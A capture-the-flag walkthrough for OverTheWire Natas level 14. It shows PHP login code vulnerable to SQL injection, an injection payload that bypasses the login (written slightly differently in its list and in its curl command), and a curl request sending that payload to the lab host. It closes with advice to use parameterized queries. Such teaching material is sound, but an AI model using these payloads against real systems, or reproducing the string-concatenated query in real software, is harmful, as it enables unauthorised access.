In level 14, we see a more traditional username & password form. Let’s check the source code to see if there are holes we can slip through.
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br />";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br />";
} else {
echo "Access denied!<br />";
}
mysql_close($link);
} else {
// ...
}
Okay, this is one of the most common errors: SQL injection. You should never write code like this because the attacker controls the value of $_REQUEST["username"]
and $_REQUEST["password"]
. We can use that to make the query return more than zero rows, which is all they check for.
Also, check out the nifty helper tool for us: set debug
and it’ll output the query that gets executed, so you can see what you’re doing a bit better.
- debug:
1
- username:
natas14" or username not null;--
(don’t forget the space after the 2nd dash, it is required in MySQL) - password: must be set, but pick whatever you want (
pwnd
)
The final SQL query that’ll be executed is:
SELECT * from users where username="natas14" or username not null;-- and password="pwnd"
curl -u natas14:password \
'http://natas14.natas.labs.overthewire.org/index.php?username=natas14"%20OR%20username%20IS%20NOT%20NULL;%20--%20&password=pwnd&debug=1'
Lessons Learned
To defend against attacks like this, don’t make the mistake xkcd suggests. Escapting input is not the right approach. Instead, use parameterized queries, which are injection-proof. They also have other benefits. http://bobby-tables.com shows you how to use parameterized queries in a ton of different programming languages, and explains why this approach is the right one.